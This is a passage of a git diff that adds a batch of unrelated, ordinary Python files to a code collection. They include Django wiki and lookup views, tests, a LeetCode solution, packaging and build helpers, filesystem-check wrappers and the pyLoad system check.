reverse +from django.utils.translation import ugettext + +from pompadour_wiki.apps.filemanager.models import Attachment +from pompadour_wiki.apps.wiki.models import Wiki +from pompadour_wiki.apps.utils import urljoin, decode_unicode_references + +import os + +@dajaxice_register +def remove_doc(request, wiki=None, files=None): + dajax = Dajax() + + if not wiki or not files: + return dajax.json() + + try: + w = Wiki.objects.get(slug=wiki) + + except Wiki.DoesNotExist: + return dajax.json() + + for f in files: + path = os.path.join('__media__', *f.split('/')) + + w.repo.delete(path) + w.repo.commit(request.user, ugettext(u'Update Wiki: {0} deleted'.format(path)).encode('utf-8')) + + # Remove attachments + Attachment.objects.filter(file=f).delete() + + + dajax.redirect(reverse('filemanager-index', args=[wiki, ''])) + + return dajax.json() + +@dajaxice_register +def attach_doc(request, wiki=None, files=None, page=None): + dajax = Dajax() + + if not wiki or not files or not page: + return dajax.json() + + try: + w = Wiki.objects.get(slug=wiki) + + except Wiki.DoesNotExist: + return dajax.json() + + page = decode_unicode_references(page) + + for f in files: + urlpage = urljoin(wiki, page.encode('utf-8')) + + # check if the attachment already exist + if not Attachment.objects.filter(wiki=w, page=urlpage, file=f): + # the attachment doesn't exist, we can add it + a = Attachment() + a.wiki = w + a.page = urlpage + a.file = f + a.mimetype = w.repo.mimetype(os.path.join('__media__', *f.split('/'))) + + a.save() + + tmpl = get_template('wiki/attachitem.html') + rendered = tmpl.render(Context({ + 'wiki': { + 'obj': w, + }, + 'doc': a, + })) + + dajax.add_data(rendered, 'append_attached_document') + dajax.alert(ugettext(u'{0} attached to {1}').format(f, page)) + + return dajax.json() + +@dajaxice_register +def remove_attach(request, attachment=None): + dajax = Dajax() + + if not attachment: + return dajax.json() + + Attachment.objects.filter(pk=attachment).delete() + + dajax.script('window.location.reload();') + + return dajax.json() \ No newline at end of file diff --git a/pool/shard009/Python/0083317_monitorparser.py b/pool/shard009/Python/0083317_monitorparser.py new file mode 100644 index 0000000000000000000000000000000000000000..a8bc1a3843a52bd24a8c57c0829818c9df8c6747 --- /dev/null +++ b/pool/shard009/Python/0083317_monitorparser.py @@ -0,0 +1,56 @@ +from datetime import datetime +from time import mktime +from commands import getoutput +from collections import defaultdict +import sys + +def getdate(line): + return line.split('\t')[0] + +def gettimestamp(date): + t = mktime(datetime.strptime(date, "%Y-%m-%d %H:%M:%S" ).timetuple()) + return int(t) + +def rrdupdate(ts, usercount, bw): + rrdupdate = "rrdtool update monitor_db.rrd --template bandwidth:usercount {0}:{1}:{2}" + r = rrdupdate.format(ts, bw, usercount) + if "-v" in sys.argv: print r + rrd = getoutput(r) + if rrd.startswith("ERROR"): + print rrd + return rrd + +def parseline(line): + date, text = line.split('\t') + ts = gettimestamp(date) + return (ts, text) + +if __name__ == "__main__": + with open('monitor.log', 'r') as f: + monitor = f.readlines() + + print "preprocessing" + pre = list() + for i in xrange(len(monitor)): + line = monitor[i] + nextline = monitor[i+1] if i+1 < len(monitor) else "" + + try: + ts, msg = parseline(line) + nextts, nextmsg = parseline(nextline) + except ValueError: + continue + + if msg.startswith("Usercount:"): + usercount = int(msg.split(": ")[1]) + if nextmsg.startswith("Bandwidth usage: "): + bw = float(nextmsg.split(": ")[1].split(" ")[0]) + else: + bw = 0 + pre.append((ts, usercount, bw)) + + print "done, count:", len(monitor) + print "rrdtool..." + for value in pre: + rrdupdate(*value) + print "done." diff --git a/pool/shard009/Python/0083321_files.py b/pool/shard009/Python/0083321_files.py new file mode 100644 index 0000000000000000000000000000000000000000..750ac32c642e8ce758345fc48adf32392c525574 --- /dev/null +++ b/pool/shard009/Python/0083321_files.py @@ -0,0 +1,107 @@ +# Copyright 2013 Hewlett-Packard Development Company, L.P. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import os +import sys + +from pbr import find_package +from pbr.hooks import base + + +def get_manpath(): + manpath = 'share/man' + if os.path.exists(os.path.join(sys.prefix, 'man')): + # This works around a bug with install where it expects every node + # in the relative data directory to be an actual directory, since at + # least Debian derivatives (and probably other platforms as well) + # like to symlink Unixish /usr/local/man to /usr/local/share/man. + manpath = 'man' + return manpath + + +def get_man_section(section): + return os.path.join(get_manpath(), 'man%s' % section) + + +class FilesConfig(base.BaseConfig): + + section = 'files' + + def __init__(self, config, name): + super(FilesConfig, self).__init__(config) + self.name = name + self.data_files = self.config.get('data_files', '') + + def save(self): + self.config['data_files'] = self.data_files + super(FilesConfig, self).save() + + def expand_globs(self): + finished = [] + for line in self.data_files.split("\n"): + if line.rstrip().endswith('*') and '=' in line: + (target, source_glob) = line.split('=') + source_prefix = source_glob.strip()[:-1] + target = target.strip() + if not target.endswith(os.path.sep): + target += os.path.sep + for (dirpath, dirnames, fnames) in os.walk(source_prefix): + # As source_prefix is always matched, using replace with a + # a limit of one is always going to replace the path prefix + # and not accidentally replace some text in the middle of + # the path + new_prefix = dirpath.replace(source_prefix, target, 1) + finished.append("%s = " % new_prefix) + finished.extend( + [" %s" % os.path.join(dirpath, f) for f in fnames]) + else: + finished.append(line) + + self.data_files = "\n".join(finished) + + def add_man_path(self, man_path): + self.data_files = "%s\n%s =" % (self.data_files, man_path) + + def add_man_page(self, man_page): + self.data_files = "%s\n %s" % (self.data_files, man_page) + + def get_man_sections(self): + man_sections = dict() + manpages = self.pbr_config['manpages'] + for manpage in manpages.split(): + section_number = manpage.strip()[-1] + section = man_sections.get(section_number, list()) + section.append(manpage.strip()) + man_sections[section_number] = section + return man_sections + + def hook(self): + packages = self.config.get('packages', self.name).strip() + expanded = [] + for pkg in packages.split("\n"): + if os.path.isdir(pkg.strip()): + expanded.append(find_package.smart_find_packages(pkg.strip())) + + self.config['packages'] = "\n".join(expanded) + + self.expand_globs() + + if 'manpages' in self.pbr_config: + man_sections = self.get_man_sections() + for (section, pages) in man_sections.items(): + manpath = get_man_section(section) + self.add_man_path(manpath) + for page in pages: + self.add_man_page(page) diff --git a/pool/shard009/Python/0083323_urls.py b/pool/shard009/Python/0083323_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..69cc80d71f768460ec21eb84a95c7841de03c587 --- /dev/null +++ b/pool/shard009/Python/0083323_urls.py @@ -0,0 +1,15 @@ +from django.conf.urls import patterns, include, url +from django.contrib.gis import admin + +from world.views import IndexView,MapaDetailView + +urlpatterns = patterns('', + # Examples: + # url(r'^$', 'geodjango.views.home', name='home'), + # url(r'^blog/', include('blog.urls')), + + url(r'^admin/', include(admin.site.urls)), + # url(r'^$', 'world.views.index', name='index'), + url(r'^$',IndexView.as_view()), + url(r'^mapa/(?P[-\w]+)/$', MapaDetailView.as_view()), +) diff --git a/pool/shard009/Python/0083333_p301_remove_invalid_parentheses.py b/pool/shard009/Python/0083333_p301_remove_invalid_parentheses.py new file mode 100644 index 0000000000000000000000000000000000000000..6cf601233494c2b014eba2e9255ad2966550f5ac --- /dev/null +++ b/pool/shard009/Python/0083333_p301_remove_invalid_parentheses.py @@ -0,0 +1,96 @@ +# coding: utf-8 + +# author: Fei Gao + +# Problem: remove invalid parentheses +# +# Remove the minimum number of invalid parentheses in order to make the input +# string valid. Return all possible results. +# Note: The input string may contain letters other than the parentheses ( and +# ). +# +# Examples: +# +# "()())()" -> ["()()()", "(())()"] +# "(a)())()" -> ["(a)()()", "(a())()"] +# ")(" -> [""] +# +# Credits:Special thanks to @hpplayer for adding this problem and creating all +# test cases. +# +# Subscribe to see which companies asked this question +# +# Show Tags +# +# Depth-first Search +# Breadth-first Search +# +# Show Similar Problems +# +# (E) Valid Parentheses + + +class Solution(object): + def removeInvalidParentheses(self, s): + """ + :type s: str + :rtype: List[str] + """ + results = [] + lps, rps = [], [] + for i, c in enumerate(s): + if c == '(': + lps.append(i) + elif c == ')': + rps.append(i) + lp, rp = len(lps), len(rps) + if lp <= rp: + dl, dr = 0, rp - lp + else: + dl, dr = lp - rp, 0 + + def is_valid(s): + lp, rp = 0, 0 + for c in s: + if c == '(': + lp += 1 + elif c == ')': + rp += 1 + if lp < rp: + return False + return lp == rp + + from itertools import combinations + while True: + for dlps in combinations(lps, dl): + for drps in combinations(rps, dr): + r = ''.join(c for i, c in enumerate(s) if i not in dlps + drps) + if is_valid(r): + results.append(r) + if results: + break + else: + dl, dr = dl + 1, dr + 1 + return list(set(results)) + + +def main(): + solver = Solution() + tests = [ + (("()())()",), ["()()()", "(())()"]), + (("(a)())()",),["(a)()()", "(a())()"]), + ((")(",), [""]) + ] + for params, expect in tests: + print('-' * 5 + 'TEST' + '-' * 5) + print('Input: ' + str(params)) + print('Expect: ' + str(expect)) + + result = solver.removeInvalidParentheses(*params) + print('Result: ' + str(result)) + pass + + +if __name__ == '__main__': + main() + pass diff --git a/pool/shard009/Python/0083336_session_test.py b/pool/shard009/Python/0083336_session_test.py new file mode 100644 index 0000000000000000000000000000000000000000..2b055e85f3296617c0cca1f5f5273f5cce1a4ba3 --- /dev/null +++ b/pool/shard009/Python/0083336_session_test.py @@ -0,0 +1,113 @@ +#-*- coding:utf-8 -*- +from __future__ import absolute_import, division, print_function, with_statement + +import sys +import signal +import random +import time +import logging +import requests +import multiprocessing +import time +import os + + +from turbo import app +from turbo.conf import app_config +from turbo import register +from turbo.session import RedisStore + +app_config.app_name = 'app_test' +app_config.web_application_setting = { + 'xsrf_cookies': False, + 'cookie_secret': 'asdf/asdfiw872*&^2/' +} + +from turbo.test.util import unittest + + +class HomeHandler(app.BaseHandler): + + session_initializer = { + 'time': time.time(), + 'uid': None, + } + + def get(self): + assert self.session.uid is None + assert self.session.session_id is not None + self.write('get') + + def post(self): + self.session.uid = '7787' + self.write('post') + + def put(self): + assert self.session.uid == '7787' + self.write('put') + + +class RedisStoreHandler(app.BaseHandler): + + session_initializer = { + 'time': time.time(), + 'uid': None, + } + + session_store = RedisStore(timeout=3600) + + def get(self): + assert self.session.uid is None + assert self.session.session_id is not None + self.write('get') + + def post(self): + self.session.uid = '7787' + self.write('post') + + def put(self): + assert self.session.uid == '7787' + self.write('put') + + +def run_server(): + register.register_url('/', HomeHandler) + register.register_url('/redis', RedisStoreHandler) + app.start() + + +class SessionTest(unittest.TestCase): + + def setUp(self): + server = multiprocessing.Process(target=run_server) + server.start() + self.home_url = 'http://localhost:8888' + self.redis_url = 'http://localhost:8888/redis' + self.pid = server.pid + time.sleep(1) + + def tearDown(self): + os.kill(self.pid, signal.SIGKILL) + + def test_session(self): + resp = requests.get(self.home_url, headers={'refer':'http://127.0.0.1:8888'}) + self.assertEqual(resp.status_code, 200) + cookies = resp.cookies + resp = requests.post(self.home_url, cookies=cookies) + self.assertEqual(resp.status_code, 200) + + resp = requests.put(self.home_url, cookies=cookies) + self.assertEqual(resp.status_code, 200) + + def test_redis_store_session(self): + resp = requests.get(self.redis_url, headers={'refer':'http://127.0.0.1:8888'}) + self.assertEqual(resp.status_code, 200) + cookies = resp.cookies + resp = requests.post(self.redis_url, cookies=cookies) + self.assertEqual(resp.status_code, 200) + + resp = requests.put(self.redis_url, cookies=cookies) + self.assertEqual(resp.status_code, 200) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083337_tests.py b/pool/shard009/Python/0083337_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..e9c7877a8a80c0bddba2781b1840b55dc8b20bbb --- /dev/null +++ b/pool/shard009/Python/0083337_tests.py @@ -0,0 +1,46 @@ +# -*- encoding: utf-8 -*- +from django.test import TestCase +from django.test.client import Client +from django.contrib.sites.models import Site +from allauth.account.models import EmailAddress, EmailConfirmation +from apps.account_system.models import User +from django.conf import settings +from django.test.utils import override_settings + +@override_settings( +SITE_ID = 2 +) +class CrearUsuarioTestCase(TestCase): + + def setUp(self): + if 'allauth.socialaccount' in settings.INSTALLED_APPS: + # Otherwise ImproperlyConfigured exceptions may occur + from allauth.socialaccount.models import SocialApp + sa = SocialApp.objects.create(name='testfb', + provider='facebook') + sa.sites.add(Site.objects.get_current()) + + + def test_index(self): + resp = self.client.get('/') + self.assertEqual(resp.status_code, 200) + + def test_login(self): + # First check for the default behavior + response = self.client.get('/accounts/login/') + self.assertEqual(response.status_code, 200) + response = c.post('/accounts/login/', {'username': '1', 'password': '1'}) + + def test_username_containing_at(self): + user = User.objects.create(username='@raymond.penners') + user.set_password('psst') + user.save() + EmailAddress.objects.create(user=user, + email='raymond.penners@gmail.com', + primary=True, + verified=True) + resp = self.client.post(reverse('account_login'), + {'login': '@raymond.penners', + 'password': 'psst'}) + self.assertEqual(resp['location'], + 'http://testserver'+settings.LOGIN_REDIRECT_URL) diff --git a/pool/shard009/Python/0083340_sieve.py b/pool/shard009/Python/0083340_sieve.py new file mode 100644 index 0000000000000000000000000000000000000000..a3cac1e628fdb84ce2e37507385906a64f01078a --- /dev/null +++ b/pool/shard009/Python/0083340_sieve.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Lets data Packets pass-through, "sieve", based on criteria in their data. +# See issue: https://github.com/geopython/stetl/issues/78 +# +# A concrete example is AttrValueRecordSieve which sieves records matching +# specific attribute values. One can also think of Sieves based on XPath expressions +# (e.g. for XML, GML), or geospatial, based on for example WFS-like filters like bounding boxes. +# +# Author: Just van den Broecke +# +from stetl.component import Config +from stetl.filter import Filter +from stetl.util import Util +from stetl.packet import FORMAT + +log = Util.get_log('Sieve') + + +class Sieve(Filter): + """ + ABC for specific Sieves that pass-through, "sieve", Packets based on criteria in their data. + """ + + def __init__(self, configdict, section, consumes, produces): + Filter.__init__(self, configdict, section, consumes, produces) + + def invoke(self, packet): + if packet.data is None: + return packet + return self.sieve(packet) + + def sieve(self, packet): + """ + To be implemented in subclasses. + :param packet: + :return: + """ + return packet + + +class AttrValueRecordSieve(Sieve): + """ + Sieves by attr/value(s) in Record Packets. + """ + + @Config(ptype=str, required=True) + def attr_name(self): + """ + Name of attribute whose value(s) are to be sieved. + """ + pass + + @Config(ptype=list, default=list(), required=False) + def attr_values(self): + """ + Value(s) for attribute to be to sieved. If empty any value is passed through (existence + of attr_name is criterium). + """ + pass + + def __init__(self, configdict, section): + Sieve.__init__(self, configdict, section, consumes=[FORMAT.record_array, FORMAT.record], produces=[FORMAT.record_array, FORMAT.record]) + + def sieve(self, packet): + """ + Filter out Packets that are not matching designated attr value(s). + :param packet: + :return: + """ + + # Start with empty result: fill with matching records + record_data = packet.data + packet.data = None + + # Data can be list or single record + if type(record_data) is list: + packet.data = list() + for record in record_data: + if self.matches_attr(record): + packet.data.append(record) + elif type(record_data) is dict: + if self.matches_attr(record_data): + packet.data = record_data + + return packet + + def matches_attr(self, record): + # Attr not even in record: no use going on + if self.attr_name not in record: + return False + + # Match if no value + if not self.attr_values: + return True + + return record[self.attr_name] in self.attr_values diff --git a/pool/shard009/Python/0083344_cargo.py b/pool/shard009/Python/0083344_cargo.py new file mode 100644 index 0000000000000000000000000000000000000000..9d970eff79e8800d8039f738c1a0c76252a80691 --- /dev/null +++ b/pool/shard009/Python/0083344_cargo.py @@ -0,0 +1,47 @@ +import os +import toml + +rust_src = os.environ['RUSTC_SRC'] +orig_cargo = os.environ['ORIG_CARGO'] if 'ORIG_CARGO' in os.environ else None + +base = { + 'package': { + 'name': 'nixpkgs-sysroot-stub-crate', + 'version': '0.0.0', + 'authors': ['The Rust Project Developers'], + 'edition': '2018', + }, + 'dependencies': { + 'compiler_builtins': { + 'version': '0.1.0', + 'features': ['rustc-dep-of-std', 'mem'], + }, + 'core': { + 'path': os.path.join(rust_src, 'core'), + }, + 'alloc': { + 'path': os.path.join(rust_src, 'alloc'), + }, + }, + 'patch': { + 'crates-io': { + 'rustc-std-workspace-core': { + 'path': os.path.join(rust_src, 'rustc-std-workspace-core'), + }, + 'rustc-std-workspace-alloc': { + 'path': os.path.join(rust_src, 'rustc-std-workspace-alloc'), + }, + }, + }, +} + +if orig_cargo is not None: + with open(orig_cargo, 'r') as f: + src = toml.loads(f.read()) + if 'profile' in src: + base['profile'] = src['profile'] + +out = toml.dumps(base) + +with open('Cargo.toml', 'x') as f: + f.write(out) diff --git a/pool/shard009/Python/0083350_coin.py b/pool/shard009/Python/0083350_coin.py new file mode 100644 index 0000000000000000000000000000000000000000..9f16825b18183ae872596919e74fe07a693f3078 --- /dev/null +++ b/pool/shard009/Python/0083350_coin.py @@ -0,0 +1,19 @@ +from collections import Counter +import random + +from .base import MessageHandler +from ..util import parse_int + +class CoinHandler(MessageHandler): + + TRIGGERS = ['coin', 'flip'] + HELP = 'flip the given number of coins; default 1' + + def handle_message(self, event, triggers, query): + times = parse_int(query, default=1) + flips_gen = (random.choice(('heads', 'tails')) for _ in xrange(times)) + if times > 10: + counter = Counter(flips_gen) + return '%s heads, %s tails' % (counter['heads'], counter['tails']) + else: + return ', '.join(flips_gen) diff --git a/pool/shard009/Python/0083353_dirac-jobexec.py b/pool/shard009/Python/0083353_dirac-jobexec.py new file mode 100644 index 0000000000000000000000000000000000000000..21b9bccd9dbd5ef381b0117524ce8f5e6c5b3622 --- /dev/null +++ b/pool/shard009/Python/0083353_dirac-jobexec.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python +######################################################################## +# File : dirac-jobexec +# Author : Stuart Paterson +######################################################################## +""" The dirac-jobexec script is equipped to execute workflows that + are specified via their XML description. The main client of + this script is the Job Wrapper. +""" + +__RCSID__ = "$Id$" + + +import os +import os.path +import sys + +import DIRAC +from DIRAC.Core.Base import Script + +# Register workflow parameter switch +Script.registerSwitch('p:', 'parameter=', 'Parameters that are passed directly to the workflow') +Script.parseCommandLine() + +# from DIRAC.Core.Workflow.Parameter import * +from DIRAC import gLogger +from DIRAC.Core.Workflow.Workflow import fromXMLFile +from DIRAC.WorkloadManagementSystem.Client.JobReport import JobReport +from DIRAC.AccountingSystem.Client.DataStoreClient import DataStoreClient +from DIRAC.RequestManagementSystem.Client.Request import Request + +# Forcing the current directory to be the first in the PYTHONPATH +sys.path.insert(0, os.path.realpath('.')) +gLogger.showHeaders(True) + + +def jobexec(jobxml, wfParameters): + jobfile = os.path.abspath(jobxml) + if not os.path.exists(jobfile): + gLogger.warn('Path to specified workflow %s does not exist' % (jobfile)) + sys.exit(1) + workflow = fromXMLFile(jobfile) + gLogger.debug(workflow) + code = workflow.createCode() + gLogger.debug(code) + jobID = 0 + if 'JOBID' in os.environ: + jobID = os.environ['JOBID'] + gLogger.info('DIRAC JobID %s is running at site %s' % (jobID, DIRAC.siteName())) + + workflow.addTool('JobReport', JobReport(jobID)) + workflow.addTool('AccountingReport', DataStoreClient()) + workflow.addTool('Request', Request()) + + # Propagate the command line parameters to the workflow if any + for pName, pValue in wfParameters.items(): + workflow.setValue(pName, pValue) + + # Propagate the command line parameters to the workflow module instances of each step + for stepdefinition in workflow.step_definitions.itervalues(): + for moduleInstance in stepdefinition.module_instances: + for pName, pValue in wfParameters.iteritems(): + if moduleInstance.parameters.find(pName): + moduleInstance.parameters.setValue(pName, pValue) + + return workflow.execute() + + +positionalArgs = Script.getPositionalArgs() +if len(positionalArgs) != 1: + gLogger.debug('Positional arguments were %s' % (positionalArgs)) + DIRAC.abort(1, "Must specify the Job XML file description") + +if 'JOBID' in os.environ: + gLogger.info('JobID: %s' % (os.environ['JOBID'])) + +jobXMLfile = positionalArgs[0] +parList = Script.getUnprocessedSwitches() +parDict = {} +for switch, parameter in parList: + if switch == "p": + name, value = parameter.split('=') + value = value.strip() + + # The comma separated list in curly brackets is interpreted as a list + if value.startswith("{"): + value = value[1:-1].replace('"', '').replace(" ", '').split(',') + value = ';'.join(value) + + parDict[name] = value + +gLogger.debug('PYTHONPATH:\n%s' % ('\n'.join(sys.path))) +jobExec = jobexec(jobXMLfile, parDict) +if not jobExec['OK']: + gLogger.debug('Workflow execution finished with errors, exiting') + if jobExec['Errno']: + sys.exit(jobExec['Errno']) + else: + sys.exit(1) +else: + gLogger.debug('Workflow execution successful, exiting') + sys.exit(0) diff --git a/pool/shard009/Python/0083354_fsck.py b/pool/shard009/Python/0083354_fsck.py new file mode 100644 index 0000000000000000000000000000000000000000..5274f13a5b0e35d05688bf812f91ba234c9a6707 --- /dev/null +++ b/pool/shard009/Python/0083354_fsck.py @@ -0,0 +1,152 @@ +# fsck.py +# Filesystem check functionality. +# +# Copyright (C) 2015 Red Hat, Inc. +# +# This copyrighted material is made available to anyone wishing to use, +# modify, copy, or redistribute it subject to the terms and conditions of +# the GNU General Public License v.2, or (at your option) any later version. +# This program is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY expressed or implied, including the implied warranties of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. You should have received a copy of the +# GNU General Public License along with this program; if not, write to the +# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +# 02110-1301, USA. Any Red Hat trademarks that are incorporated in the +# source code or documentation are not subject to the GNU General Public +# License and may only be used or replicated with the express permission of +# Red Hat, Inc. +# +# Red Hat Author(s): Anne Mulhern + +import abc + +from six import add_metaclass + +from ..errors import FSError +from .. import util + +from . import availability +from . import fstask +from . import task + +_UNKNOWN_RC_MSG = "Unknown return code: %d" + + +@add_metaclass(abc.ABCMeta) +class FSCK(task.BasicApplication, fstask.FSTask): + + """An abstract class that represents actions associated with + checking consistency of a filesystem. + """ + description = "fsck" + + options = abc.abstractproperty( + doc="Options for invoking the application.") + + # IMPLEMENTATION methods + + @abc.abstractmethod + def _error_message(self, rc): + """ Error message corresponding to rc. + + :param int rc: the fsck program return code + :returns: an error message corresponding to the code, or None + :rtype: str or NoneType + + A return value of None indicates no error. + """ + raise NotImplementedError() + + @property + def _fsck_command(self): + """The command to check the filesystem. + + :return: the command + :rtype: list of str + """ + return [str(self.ext)] + self.options + [self.fs.device] + + def do_task(self): + """ Check the filesystem. + + :raises FSError: on failure + """ + error_msgs = self.availability_errors + if error_msgs: + raise FSError("\n".join(error_msgs)) + + try: + rc = util.run_program(self._fsck_command) + except OSError as e: + raise FSError("filesystem check failed: %s" % e) + + error_msg = self._error_message(rc) + if error_msg is not None: + hdr = "%(type)s filesystem check failure on %(device)s: " % \ + {"type": self.fs.type, "device": self.fs.device} + + raise FSError(hdr + error_msg) + + +class DosFSCK(FSCK): + _fsck_errors = {1: "Recoverable errors have been detected or dosfsck has " + "discovered an internal inconsistency.", + 2: "Usage error."} + + ext = availability.DOSFSCK_APP + options = ["-n"] + + def _error_message(self, rc): + if rc < 1: + return None + try: + return self._fsck_errors[rc] + except KeyError: + return _UNKNOWN_RC_MSG % rc + + +class Ext2FSCK(FSCK): + _fsck_errors = {4: "File system errors left uncorrected.", + 8: "Operational error.", + 16: "Usage or syntax error.", + 32: "e2fsck cancelled by user request.", + 128: "Shared library error."} + + ext = availability.E2FSCK_APP + # "Force checking even if the file system seems clean." (we might get false results otherwise) + # + "Automatically repair ("preen") the file system." + options = ["-f", "-p"] + + def _error_message(self, rc): + msgs = (self._fsck_errors[c] for c in self._fsck_errors.keys() if rc & c) + return "\n".join(msgs) or None + + +class HFSPlusFSCK(FSCK): + _fsck_errors = {3: "Quick check found a dirty filesystem; no repairs done.", + 4: "Root filesystem was dirty. System should be rebooted.", + 8: "Corrupt filesystem, repairs did not succeed.", + 47: "Major error found; no repairs attempted."} + ext = availability.FSCK_HFSPLUS_APP + options = [] + + def _error_message(self, rc): + if rc < 1: + return None + try: + return self._fsck_errors[rc] + except KeyError: + return _UNKNOWN_RC_MSG % rc + + +class NTFSFSCK(FSCK): + ext = availability.NTFSRESIZE_APP + options = ["-c"] + + def _error_message(self, rc): + return _UNKNOWN_RC_MSG % (rc,) if rc != 0 else None + + +class UnimplementedFSCK(fstask.UnimplementedFSTask): + pass diff --git a/pool/shard009/Python/0083355_systemCheck.py b/pool/shard009/Python/0083355_systemCheck.py new file mode 100644 index 0000000000000000000000000000000000000000..538a5c772ede8554f7dac06bbc80a8ac06ae27fe --- /dev/null +++ b/pool/shard009/Python/0083355_systemCheck.py @@ -0,0 +1,152 @@ +import os +import subprocess +import sys + +#from module import InitHomeDir + +#very ugly prints, but at least it works with python 3 + +def main(): + print("##### System Information #####\n") + print("Platform:", sys.platform) + print("Operating System:", os.name) + print("Python:", sys.version.replace("\n", "")+ "\n") + + try: + import pycurl + print("pycurl:", pycurl.version) + except: + print("pycurl:", "missing") + + try: + import Crypto + print("py-crypto:", Crypto.__version__) + except: + print("py-crypto:", "missing") + + try: + import OpenSSL + print("OpenSSL:", OpenSSL.version.__version__) + except: + print("OpenSSL:", "missing") + + try: + from PIL import Image + print("image library:", Image.VERSION) + except: + try: + import Image + print("image library:", Image.VERSION) + except: + print("image library:", "missing") + + try: + import PyQt4.QtCore + print("pyqt:", PyQt4.QtCore.PYQT_VERSION_STR) + except: + print("pyqt:", "missing") + + from module.common import JsEngine + js = JsEngine.ENGINE if JsEngine.ENGINE else "missing" + print("JS engine:", js) + + + print("\n\n##### System Status #####") + print("\n## pyLoadCore ##") + + core_err = [] + core_info = [] + + if sys.version_info > (2, 8): + core_err.append("Your python version is to new, Please use Python 2.6/2.7") + + if sys.version_info < (2, 5): + core_err.append("Your python version is to old, Please use at least Python 2.5") + + try: + import pycurl + except: + core_err.append("Please install py-curl to use pyLoad.") + + try: + from pycurl import AUTOREFERER + except: + core_err.append("Your py-curl version is to old, please upgrade!") + + try: + from PIL import Image + except: + try: + import Image + except: + core_err.append("Please install py-imaging/pil/pillow to use Hoster, which uses captchas.") + + pipe = subprocess.PIPE + try: + p = subprocess.call(["tesseract"], stdout=pipe, stderr=pipe) + except: + core_err.append("Please install tesseract to use Hoster, which uses captchas.") + + try: + import OpenSSL + except: + core_info.append("Install OpenSSL if you want to create a secure connection to the core.") + + if not js: + print("no JavaScript engine found") + print("You will need this for some Click'N'Load links. Install Spidermonkey, ossp-js, pyv8 or rhino") + + if core_err: + print("The system check has detected some errors:\n") + for err in core_err: + print(err) + else: + print("No Problems detected, pyLoadCore should work fine.") + + if core_info: + print("\nPossible improvements for pyload:\n") + for line in core_info: + print(line) + + print("\n## pyLoadGui ##") + + gui_err = [] + + try: + import PyQt4 + except: + gui_err.append("GUI won't work without pyqt4 !!") + + if gui_err: + print("The system check has detected some errors:\n") + for err in gui_err: + print(err) + else: + print("No Problems detected, pyLoadGui should work fine.") + + print("\n## Webinterface ##") + + web_err = [] + web_info = [] + + try: + import flup + except: + web_info.append("Install Flup to use FastCGI or optional webservers.") + + if web_err: + print("The system check has detected some errors:\n") + for err in web_err: + print(err) + else: + print("No Problems detected, Webinterface should work fine.") + + if web_info: + print("\nPossible improvements for webinterface:\n") + for line in web_info: + print(line) + +if __name__ == "__main__": + main() + + raw_input("Press Enter to Exit.") diff --git a/pool/shard009/Python/0083358_lookups.py b/pool/shard009/Python/0083358_lookups.py new file mode 100644 index 0000000000000000000000000000000000000000..0b4a673d759281de47ae1367d0c4b1dacdd2db8e --- /dev/null +++ b/pool/shard009/Python/0083358_lookups.py @@ -0,0 +1,150 @@ +from functools import reduce +import operator +import re + +from dal import autocomplete +from django.contrib.auth.models import Group +from django.conf.urls import url +from django.db.models import Q, Count + +from workshops import models +from workshops.util import OnlyForAdminsNoRedirectMixin + + +class EventLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def get_queryset(self): + results = models.Event.objects.all() + + if self.q: + results = results.filter(slug__icontains=self.q) + + return results + + +class TTTEventLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def get_queryset(self): + results = models.Event.objects.filter(tags__name='TTT') + + if self.q: + results = results.filter(slug__icontains=self.q) + + return results + + +class OrganizationLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def get_queryset(self): + results = models.Organization.objects.all() + + if self.q: + results = results.filter( + Q(domain__icontains=self.q) | Q(fullname__icontains=self.q) + ) + + return results + + +class PersonLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def get_queryset(self): + results = models.Person.objects.all() + + if self.q: + filters = [ + Q(personal__icontains=self.q), + Q(family__icontains=self.q), + Q(email__icontains=self.q), + Q(username__icontains=self.q) + ] + + # split query into first and last names + tokens = re.split('\s+', self.q) + if len(tokens) == 2: + name1, name2 = tokens + complex_q = ( + Q(personal__icontains=name1) & Q(family__icontains=name2) + ) | ( + Q(personal__icontains=name2) & Q(family__icontains=name1) + ) + filters.append(complex_q) + + # this is brilliant: it applies OR to all search filters + results = results.filter(reduce(operator.or_, filters)) + + return results + + +class AdminLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + """The same as PersonLookup, but allows only to select administrators. + + Administrator is anyone with superuser power or in "administrators" group. + """ + + def get_queryset(self): + admin_group = Group.objects.get(name='administrators') + results = models.Person.objects.filter( + Q(is_superuser=True) | Q(groups__in=[admin_group]) + ) + + if self.q: + results = results.filter( + Q(personal__icontains=self.q) | + Q(family__icontains=self.q) | + Q(email__icontains=self.q) | + Q(username__icontains=self.q) + ) + + return results + + +class AirportLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def get_queryset(self): + results = models.Airport.objects.all() + + if self.q: + results = results.filter( + Q(iata__icontains=self.q) | Q(fullname__icontains=self.q) + ) + + return results + + +class LanguageLookupView(OnlyForAdminsNoRedirectMixin, + autocomplete.Select2QuerySetView): + def dispatch(self, request, *args, **kwargs): + self.subtag = 'subtag' in request.GET.keys() + return super().dispatch(request, *args, **kwargs) + + def get_queryset(self): + results = models.Language.objects.all() + + if self.q: + results = results.filter( + 